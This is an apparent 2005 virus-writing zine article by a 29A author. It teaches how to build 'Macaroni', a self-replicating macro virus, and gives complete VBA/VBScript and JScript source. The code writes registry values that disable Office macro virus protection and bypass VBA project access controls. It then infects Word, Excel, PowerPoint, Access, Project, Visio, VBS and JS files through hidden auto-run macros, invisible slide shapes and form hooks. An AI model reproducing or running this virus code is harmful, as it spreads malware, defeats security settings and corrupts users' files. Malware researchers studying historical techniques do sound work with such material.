Out of Office Responses roy g biv / 29A Former DOS/Win16 virus writer, author of several virus families, including Ginger (see Coderz #1 zine for terrible buggy example, contact me for better sources ;), and Virus Bulletin 9/95 for a description of what they called Rainbow. Co-author of world's first virus using circular partition trick (Orsam, coded with Prototype in 1993). Designer of world's first XMS swapping virus (John Galt, coded by RT Fishel in 1995, only 30 bytes stub, the rest is swapped out). Author of world's first virus using Thread Local Storage for replication (Shrug, see Virus Bulletin 6/02 for a description, but they call it Chiton), world's first virus using Visual Basic 5/6 language extensions for replication (OU812), world's first Native executable virus (Chthon), world's first virus using process co-operation to prevent termination (Gemini, see Virus Bulletin 9/02 for a description), world's first virus using polymorphic SMTP headers (JunkMail, see Virus Bulletin 11/02 for a description), world's first viruses that can convert any data files to infectable objects (Pretext), world's first 32/64-bit parasitic EPO .NET virus (Croissant, see Virus Bulletin 11/04 for a description, but they call it Impanate), world's first virus using self-executing HTML (JunkHTMaiL, see Virus Bulletin 7/03 for a description), world's first virus for Win64 on Intel Itanium (Shrug, see Virus Bulletin 6/04 for a description, but they call it Rugrat), world's first virus for Win64 on AMD AMD64 (Shrug), and world's first cross-infecting virus for Intel IA32 and AMD AMD64 (Shrug). Author of various retrovirus articles (eg see Vlad #7 for the strings that make your code invisible to TBScan). Went to sleep for a number of years. This is my third virus for VBScript and JScript, and my first macro virus for many Microsoft Office applications. They are the world's first viruses that infect Office applications and script files using the same code. VBA - Virusal Basic for Applications Microsoft introduced a very powerful language in Office 97 and later versions, called Visual Basic for Applications. One of the best things about it is that many Office applications can use it. The environment is not quite the "write once, run everywhere", but with a little bit of code we can support multiple applications very easily. Let us decide to export our macro source from several different applications. If we know, for example, that the last two characters are different for each of those applications, then we can export our source like this: s = Right(Application.Name, 2) t = "" If s = "rd" Or s= "io" Then 'Word, Visio t = "Document" Set o = ActiveDocument ElseIf s = "el" Then 'Excel t = "Workbook" Set o = ActiveWorkbook ElseIf s = "ct" Then 'Project t = "Project" Set o = ActiveProject Else If s = "nt" Then 'PowerPoint Set o = ActivePresentation End If o.VBProject.VBComponents("This" + t).Export ("c:\file") Great, this already covers Word, Visio, Excel, Project, and PowerPoint (we call our macro "This" in this example for PowerPoint, to make things simpler). These are all Microsoft Office applications, but we are not limited to just those. If we look here: http://msdn.microsoft.com/vba/companies/company.asp we can see many other potential targets. Not all of those are infectable, though. AutoCAD, for example, saves the macros in .dvb files, so they are separated from the drawings (.dwg) files, and do not load automatically. We must use Active*.VBProject, not VBE.ActiveVBProject (except in Access, see below), because the ActiveVBProject might not be our code if there are other documents open with us, or if the application was launched with our file as a parameter (so the global template loads first and will be the active project). Maybe you see that Access and Publisher are not supported. For Access, it is because the code is a bit different - there is no ActiveDatabase object, only the CurrentDb object, but it does not expose any Visual Basic components. Instead, we must use the VBE.ActiveVBProject after all. Publisher is not supported because it does not expose the Visual Basic Object Model. Can a Publisher virus be written? Probably, but not by me. ;) Resume Next A better alternative is if the code "knows" what kind of object is carrying it, for example by using an array of object names, indexed by a variable that we assign during replication. Then we can use the fact that a runtime error during an assignment prevents the assignment from occurring. Then we can do this instead: On Error Resume Next Set o = ActiveDocument Set o = ActiveWorkbook Set o = ActiveProject Set o = ActivePresentation o.VBProject.VBComponents("This" + name(index)).Export ("c:\file") Our "o" variable will be assigned by whichever of the objects is valid, and will not be disturbed by any of the others, since they are invalid. False Sense of Security After macro viruses became very popular, Microsoft introduced some security measures to make it more difficult to replicate. The first of these was the Macro Virus Protection. The implementation is different in different Office applications, and even in different versions of the same application, however the state of the protection is always stored in the registry. For Office 97, we have these settings, which are under HKCU\Software\Microsoft\Office\8.0: App Value Type Data Word: Word\Options\EnableMacroVirusProtection REG_SZ "0" Project: MS Project\Options\General\Macro Virus Protection REG_SZ "No" Excel: Excel\Microsoft Excel\Options6 REG_DWORD 0 PowerPoint: PowerPoint\Options\MacroVirusProtection REG_DWORD 0 For Office 2000 and later versions (except for Visio), we have these settings, which are under HKCU\Software\Microsoft\Office\x.0 (where 'x' is the version number - 9 for Office 2000, 10 for Office XP, 11 for Office 2003): App Value Type Data Word: Word\Security\Level REG_DWORD n Project: MS Project\Security\Level REG_DWORD n Excel: Excel\Security\Level REG_DWORD n PowerPoint: PowerPoint\Security\Level REG_DWORD n where 'n' is the security level, 1 for Low, 2 for Medium, 3 for High. For Visio, it is under HKCU\Software\Microsoft\Visio\Security\Level That's not all. Microsoft introduced in Office 2000 a new problem. The problem is the option called "Trust access to Visual Basic Project". This option prevents a macro from accessing the Visual Basic Object Model. In Office 2003, this option also prevents a program from accessing the VBOM using OLE Automation. It can be bypassed by creating the "AccessVBOM" registry value, in the same location as the "Level" value above, and setting its data to 1. However, if the value existed already, then its data are cached by any running Office application, so there is no effect if a macro changes the data while the application is already running. For that case, there is the COM Application.AutomationSecurity property which will enable macros in files when the value is set to 1, regardless of the registry settings. First attempt Let's put that all together and create an Office mega-infector. 'Macaroni - roy g biv 05/02/05 a=array("doc","xls","ppt","mdb","mpp","vsd") b=array("Word","Excel","PowerPoint","Access","Project","Visio") c=array("Document","WorkBook","p","d",b(4),"Document") y="byval z as " dim d(6) d(4)=y+b(4) d(5)=y+"iv"+c(0) e = 0 'spaces must be here because VBA will insert them anyway f="This"+c(e) g="m" 'our export filename on error resume next vbe.activevbproject.vbcomponents(f).export(g) 'Access only set h=activedocument set h=activeworkbook set h=activeproject set h=activepresentation h.vbproject.vbcomponents(f).export(g) 'everything else set i=createobject("scripting.filesystemobject") j=i.opentextfile(g).readall j=mid(j,instr(j,"'M")) 'remove everything before our code j=left(j,instr(j,"'"+"'")+1) 'remove everything after our code i.getfile(g).delete 'clean up randomize e=int(rnd*6) f="This"+c(e) g=instr(j,"e = ") k=vbcrlf g=k+left(j,g+3)+cstr(e)+mid(j,g+5)+k+"end " 'save container type for next time set j=createobject("wscript.shell") l="HKCU\software\microsoft\" m=l+"office\8.0\" n="REG_SZ" j.regwrite m+"Word\Options\EnableMacroVirusProtection",0,n j.regwrite m+"MS Project\Options\General\Macro Virus Protection","No",n n="REG_DWORD" j.regwrite m+"Excel\Microsoft Excel\Options6",0,n j.regwrite m+"PowerPoint\Options\MacroVirusProtection",0,n m=b(e) if e=4then m="MS "+m for o=9to 12 p=l if e<>5then p=p+"Office\"+cstr(o)+".0\" p=p+m+"\Security\" j.regwrite p+"Level",1,n j.regwrite p+"AccessVBOM",1,n next set j=i.getfolder(".") 'demo version, current directory only for each l in j.files if lcase(i.getextensionname(l))=a(e)then l=l.path err=0 set n=i.opentextfile(l,8) if err.number=0then if e=5then set n=createobject(m+".invisibleapp") else if e=4then m="MS"+b(e) set n=createobject(m+".application") end if if err.number=0then n.visible=0 n.application.automationsecurity=1 set o=n.documents set o=n.workbooks set o=n.presentations err=0 if e=3then n.opencurrentdatabase(l) else if e=4then n.fileopen(l) set o=n.activeproject else if e=2then n.visible=1 'PowerPoint window is not allowed to be hidden set o=o.open(l) end if end if if err.number=0then set l=n.vbe.activevbproject.vbcomponents(f).codemodule set l=o.vbproject.vbcomponents(f).codemodule p="_open" if e=5then p="_"+c(0)+"opened" p=c(e)+p err=0 l=l.proccountlines(p,0) 'infection marker is presence of code in module of our name if err.number>0then if e=2then o.vbproject.vbcomponents.add(1).name=f 'PowerPoint does not contain any This* module by default if e=3then 'Access does not contain any This* module by default with n.vbe.activevbproject .vbcomponents.add(1).name=f set l=.vbcomponents(f).codemodule end with end if set l=o.vbproject.vbcomponents(f).codemodule o="private " q="sub " if e=2or e=3then o="" if e=3then q="function " end if l.addfromstring(o+q+p+"("+d(e)+")"+g+q) 'all but PowerPoint and Access activation is auto-macro with n.activepresentation 'PowerPoint activation is via AutoShape click action with .slidemaster set l=.shapes.addshape(1,0,0,.width,.height) end with l.fill.transparency=1 with l.actionsettings(1) .action=8 .run=p end with .save .close end with if e=3then 'Access activation is via form open n.docmd.openform n.currentproject.allforms(0).name,1 n.forms(0).onopen="="+p+"()" n.docmd.save 5,f end if n.activedocument.save n.activeworkbook.save n.filesave n.fileclose end if end if if e<>2and e<>4then n.quit 'PowerPoint and Project are single-instance end if end if end if next h.slideshowwindow.view.next'' 'move to next PowerPoint slide, double quote to mark end of code So we cover Word, Excel, PowerPoint, Access, Project, Visio in ~130 lines. What's next? Second attempt If you are familiar with VBScript, you might notice something special about the code above - is it VBA or VBS? Actually, it is written in such a way that it is identical. The next step should be obvious - infect VBS files, too. This is achieved very simply. Firstly, we add "vbs" to our extension array. Next, we get our filename if we are in VBS mode. We no longer delete the file, since it is not temporary anymore. Finally, for each VBS file that we find, we search within it for our infection marker, then add ourselves if it is not found. That produces this code: 'Macaroni - roy g biv 05/02/05 a=array("doc","xls","ppt","mdb","mpp","vsd","vbs") b=array("Word","Excel","PowerPoint","Access","Project","Visio") c=array("Document","WorkBook","p","d",b(4),"Document","Macaroni") y="byval z as " dim d(6) d(4)=y+b(4) d(5)=y+"iv"+c(0) e = 6 'spaces must be here because VBA will insert them anyway, begin in VBS mode f="This"+c(e) g="m" 'our export filename on error resume next vbe.activevbproject.vbcomponents(f).export(g) 'Access only set h=activedocument set h=activeworkbook set h=activeproject set h=activepresentation h.vbproject.vbcomponents(f).export(g) 'everything else if e=6then g=wscript.scriptfullname i="'"+c(6) set j=createobject("scripting.filesystemobject") k=j.opentextfile(g).readall k=mid(k,instr(k,i)) 'remove everything before our code k=left(k,instr(k,"'"+"'")+1) 'remove everything after our code if e<>6then j.getfile(g).delete 'clean up if not in VBS file randomize e=int(rnd*7) f="This"+c(e) g=instr(k,"e = ") l=vbcrlf g=l+left(k,g+3)+cstr(e)+mid(k,g+5)+l+"end " 'save container type for next time set k=createobject("wscript.shell") m="HKCU\software\microsoft\" n=m+"office\8.0\" o="REG_SZ" k.regwrite n+"Word\Options\EnableMacroVirusProtection",0,o k.regwrite n+"MS Project\Options\General\Macro Virus Protection","No",o o="REG_DWORD" k.regwrite n+"Excel\Microsoft Excel\Options6",0,o k.regwrite n+"PowerPoint\Options\MacroVirusProtection",0,o n=b(e) if e=4then n="MS "+n if e<>6then for p=9to 12 q=m if e<>5then q=q+"Office\"+cstr(p)+".0\" q=q+n+"\Security\" k.regwrite q+"Level",1,o k.regwrite q+"AccessVBOM",1,o next end if set k=j.getfolder(".") 'demo version, current directory only for each m in k.files if lcase(j.getextensionname(m))=a(e)then m=m.path err=0 set o=j.opentextfile(m,8) if err.number=0then p="sub " if e=6then if instr(j.opentextfile(m).readall,i)=0then o.write l+c(6)+l+p+c(6)+g+p 'infect VBS if not infected already (infection marker is first comment) else err=0 if e=5then set o=createobject(n+".invisibleapp") else if e=4then n="MS"+b(e) set o=createobject(n+".application") end if if err.number=0then o.visible=0 o.application.automationsecurity=1 set q=o.documents set q=o.workbooks set q=o.presentations err=0 if e=3then o.opencurrentdatabase(m) else if e=4then o.fileopen(m) set q=o.activeproject else if e=2then o.visible=1 'PowerPoint window is not allowed to be hidden set q=q.open(m) end if end if if err.number=0then set m=o.vbe.activevbproject.vbcomponents(f).codemodule set m=q.vbproject.vbcomponents(f).codemodule r="_open" if e=5then r="_"+c(0)+"opened" r=c(e)+r err=0 m=m.proccountlines(q,0) 'Office infection marker is presence of code in module of our name if err.number>0then if e=2then q.vbproject.vbcomponents.add(1).name=f 'PowerPoint does not contain any This* module by default if e=3then 'Access does not contain any This* module by default with o.vbe.activevbproject .vbcomponents.add(1).name=f set m=.vbcomponents(f).codemodule end with end if set m=q.vbproject.vbcomponents(f).codemodule q="private " if e=2or e=3then q="" if e=3then p="function " end if m.addfromstring(q+p+r+"("+d(e)+")"+g+p) 'all but PowerPoint and Access activation is auto-macro with o.activepresentation 'PowerPoint activation is via AutoShape click action with .slidemaster set m=.shapes.addshape(1,0,0,.width,.height) end with m.fill.transparency=1 with m.actionsettings(1) .action=8 .run=r end with .save .close end with if e=3then 'Access activation is via form open o.docmd.openform o.currentproject.allforms(0).name,1 o.forms(0).onopen="="+r+"()" o.docmd.save 5,f end if o.activedocument.save o.activeworkbook.save o.filesave o.fileclose end if end if if e<>2and e<>4then o.quit 'PowerPoint and Project are single-instance end if end if end if end if next h.slideshowwindow.view.next'' 'move to next PowerPoint slide, double quote to mark end of code Final attempt We can avoid the VBOM problem in macro code by simply carrying our own source. The maximum line length in VBA is 1024 characters, but we can extend that by using the line-continuation character ('_'), and we must not forget that we need to reserve some more characters for the '"', spaces, and '+'. This also allows us to switch languages underneath, since we no longer need the VBx compatibility that we required earlier. First is VBScript version. sig="Macaroni - roy g biv 05/02/05" 'can no longer contain comments a=array("doc","xls","ppt","mdb","mpp","vsd","vbs") b=array("Word","Excel","PowerPoint","Access","Project","Visio") c=array("Document","WorkBook","p","d",b(4),"Document","Macaroni") y="byval z as " dim d(6) d(4)=y+b(4) d(5)=y+"iv"+c(0) on error resume next e="sig=" set f=createobject("scripting.filesystemobject") g=f.opentextfile(wscript.scriptfullname).readall g=mid(g,instr(g,e)) g=left(g,instr(g,"'"+"'")+1) randomize h=int(rnd*7) i="This"+c(h) j=chr(34) k=j+"m.vbs"+j 'our export filename l=vbcrlf m=l+"open "+k+" for output as #1: a = chr(34): b = vbcrlf: c = "+j+replace(g,j,j+" + a + "+j)+j+l n=1 do o=1017 p=mid(m,n,o) q=0 r=1 do q=q+1 r=instr(r,p,j)+1 loop while r>1 r="" q=q mod 2 if q=0then 'if matches quotes then use entire line r=j else s=instrrev(p,j) 'else find last closing quote t=instrrev(p," ") 'or find last space, whichever occurs last if s<t then s=t end if p=left(p,s) o=s end if m=left(m,n-1)+p+r+"+ _"+l+r+mid(m,n+o) 'split line at special character or near 1024 bytes boundary n=n+o-q+6 loop while o>0 m=left(m,len(m)-12)+l+"print #1,c:close #1:createobject("+j+"wscript.shell"+j+").run"+k+",0"+l if h=2then m=m+"activepresentation.slideshowwindow.view.next"+l 'add code to move to next PowerPoint slide end if set n=createobject("wscript.shell") o="HKCU\software\microsoft\" p=o+"office\8.0\" q="REG_SZ" n.regwrite p+"Word\Options\EnableMacroVirusProtection",0,q n.regwrite p+"MS Project\Options\General\Macro Virus Protection","No",q q="REG_DWORD" n.regwrite p+"Excel\Microsoft Excel\Options6",0,q n.regwrite p+"PowerPoint\Options\MacroVirusProtection",0,q p=b(h) if h=4then p="MS "+p end if if h<>6then for r=9to 12 s=o if h<>5then s=s+"Office\"+cstr(r)+".0\" end if s=s+p+"\Security\" n.regwrite s+"Level",1,q n.regwrite s+"AccessVBOM",1,q next end if set n=f.getfolder(".") 'demo version, current directory only for each o in n.files if lcase(f.getextensionname(o))=a(h)then o=o.path err=0 set q=f.opentextfile(o,8) if err.number=0then r="sub " if h=6then if instr(f.opentextfile(o).readall,e)=0then q.write l+c(6)+l+r+c(6)+l+g+l+"end "+r end if else err=0 if h=5then set q=createobject(p+".invisibleapp") else if h=4then p="MS"+b(h) end if set q=createobject(p+".application") end if if err.number=0then q.visible=0 q.application.automationsecurity=1 set s=q.documents set s=q.workbooks set s=q.presentations err=0 if h=3then q.opencurrentdatabase(o) else if h=4then q.fileopen(o) set s=q.activeproject else if h=2then q.visible=1 'PowerPoint window is not allowed to be hidden end if set s=s.open(o) end if end if if err.number=0then set o=q.vbe.activevbproject.vbcomponents(i).codemodule set o=s.vbproject.vbcomponents(i).codemodule t="_open" if h=5then t="_"+c(0)+"opened" end if t=c(h)+t err=0 o=o.proccountlines(t,0) 'infection marker is presence of code in module of our name if err.number>0then if h=2then 'PowerPoint does not contain any This* module by default s.vbproject.vbcomponents.add(1).name=i end if if h=3then 'Access does not contain any This* module by default with q.vbe.activevbproject .vbcomponents.add(1).name=i set o=.vbcomponents(i).codemodule end with end if set o=s.vbproject.vbcomponents(i).codemodule s="private " if h=2or h=3then s="" if h=3then r="function " end if end if o.addfromstring(s+r+t+"("+d(h)+")"+m+"end "+r) 'all but PowerPoint and Access activation is auto-macro with q.activepresentation 'PowerPoint activation is via AutoShape click action with .slidemaster set o=.shapes.addshape(1,0,0,.width,.height) end with o.fill.transparency=1 with o.actionsettings(1) .action=8 .run=t end with .save .close end with if h=3then 'Access activation is via form open q.docmd.openform q.currentproject.allforms(0).name,1 q.forms(0).onopen="="+t+"()" q.docmd.save 5,i end if q.activedocument.save q.activeworkbook.save q.filesave q.fileclose end if end if if h<>2and h<>4then 'PowerPoint and Project are single-instance q.quit end if end if end if end if end if next'' 'double quote to mark end of code Now is JScript version. JScript code is a bit different because of no "on error"-alike code. We must use the try...catch blocks instead to trap errors if they occur. Another important difference is that in JScript, no error occurs when trying to assign a not-existing collection to a variable. What happens instead is that the variable is assigned a null value, so this case must be checked, instead of assuming that no change is made, as in VBScript. The code also infects JS files instead of VBS files. /*Macaroni - roy g biv 05/02/05*/ a=new Array("doc","xls","ppt","mdb","mpp","vsd","js") b=new Array("Word","Excel","PowerPoint","Access","Project","Visio") c=new Array("Document","WorkBook","p","d",b[4],0,"Macaroni") y="byval z as " d=new Array(e="",e,e,e,y+b[4],y+"iv"+(c[5]=c[0])) e=new ActiveXObject("scripting.filesystemobject") f=e.opentextfile(WScript.scriptfullname).readall() f=f.substr(f.search(g=/\/\*Mac/)) f=f.substr(0,f.lastIndexOf("//")+2) with(Math) { random(1) h=round(random()*7) } i="This"+c[h] j="\"" k=j+"m.js"+j //our export filename l=/"/g m="\r\n" n=m+"open "+k+" for output as #1: a = chr(34): b = vbcrlf: c = "+j+f.replace(l,j+" + a + "+j)+j+m o=0 do { p=1017 q=n.substr(o,p) r=0 s=0 t=0 do { ++r s=q.substr(t).search(l)+1 t+=s } while(s>0) r&=1 s="" if(!r)s=j //if matches quotes then use entire line else q=q.substr(0,p=Math.max(q.lastIndexOf(j),q.lastIndexOf(" "))+1) //else find last closing quote or find last space, whichever occurs last n=n.substr(0,o)+q+s+"+ _"+m+s+n.substr(o+p) //split line at special character or near 1024 bytes boundary o+=p-r+6 } while(p) l=n.substr(0,n.length-12)+m+"print #1,c:close #1:createobject("+j+"wscript.shell"+j+").run"+k+",0"+m if(h==2)l+="activepresentation.slideshowwindow.view.next"+m //add code to move to next PowerPoint slide n=new ActiveXObject("wscript.shell") p=(o="HKCU\\software\\microsoft\\")+"office\\8.0\\" n.regwrite(p+"Word\\Options\\EnableMacroVirusProtection",0,q="REG_SZ") n.regwrite(p+"MS Project\\Options\\General\\Macro Virus Protection","No",q) n.regwrite(p+"Excel\\Microsoft Excel\\Options6",0,q="REG_DWORD") n.regwrite(p+"PowerPoint\\Options\\MacroVirusProtection",0,q) p=b[h] if(h==4)p="MS "+p if(h!=6)for(r=9;r<13;r++) { s=o if(h!=5)s+="Office\\"+r.toString()+".0\\" s+=p+"\\Security\\" n.regwrite(s+"Level",1,q) n.regwrite(s+"AccessVBOM",1,q) } for(n=new Enumerator(e.getfolder(".").files);!n.atEnd();n.moveNext()) //demo version, current directory only if(e.getextensionname(o=e.getabsolutepathname(n.item())).toLowerCase()==a[h])try { q=e.opentextfile(o,8) r="function " if(h==6) { if(e.opentextfile(o).readall().search(g)<0)q.write(m+c[6]+"();"+r+c[6]+"(){"+f+m+"}") } else try { q.close() if(h==5)q=new ActiveXObject(p+".invisibleapp") else { if(h==4)p="MS"+b[h] q=new ActiveXObject(p+".application") } q.visible=h==2 //PowerPoint window is not allowed to be hidden try{q.application.automationsecurity=1}catch(z){} s=q.documents if(!s)s=q.workbooks if(!s)s=q.presentations try { if(h==3)q.opencurrentdatabase(o) else if(h==4) { q.fileopen(o) s=q.activeproject } else s=s.open(o) try { o=q.vbe.activevbproject.vbcomponents(i).codemodule } catch(z) { try{o=s.vbproject.vbcomponents(i).codemodule}catch(z){} } t="_open" if(h==5)t="_"+c[0]+"opened" t=c[h]+t try { o=o.proccountlines(t,0) //infection marker is presence of code in module of our name } catch(z) { if(h==2)s.vbproject.vbcomponents.add(1).name=i //PowerPoint does not contain any This* module by default if(h==3)with(q.vbe.activevbproject) //Access does not contain any This* module by default { vbcomponents.add(1).name=i o=vbcomponents(i).codemodule } else o=s.vbproject.vbcomponents(i).codemodule s="private " if(h==2||h==3)s="" if(h!=3)r="sub " o.addfromstring(s+r+t+"("+d[h]+")"+l+"end "+r) //all but PowerPoint and Access activation is auto-macro if(h==2) //PowerPoint activation is via AutoShape click action { with(q.activepresentation) { with(slidemaster)o=shapes.addshape(1,0,0,width,height) o.fill.transparency=1 with(o.actionsettings(1)) { action=8 run=t } save() close() } } else if(h==3) //Access activation is via form open { q.docmd.openform(q.currentproject.allforms(0).name,1) q.forms(0).onopen="="+t+"()" q.docmd.save(5,i) } try { q.activedocument.save() } catch(z) { try { q.activeworkbook.save() } catch(z) { try { q.filesave() q.fileclose() } catch(z) { } } } } } catch(z){} if(h!=2&&h!=4)q.quit() //PowerPoint and Project are single-instance } catch(z){} } catch(z){}// //double slash to mark end of code Greets to friendly people (A-Z): Active - Benny - Obleak - Prototype - Ratter - Ronin - RT Fishel - sars - The Gingerbread Man - Ultras - uNdErX - Vecna - VirusBuster - Whitehead rgb/29A feb 2005 iam_rgb@hotmail.com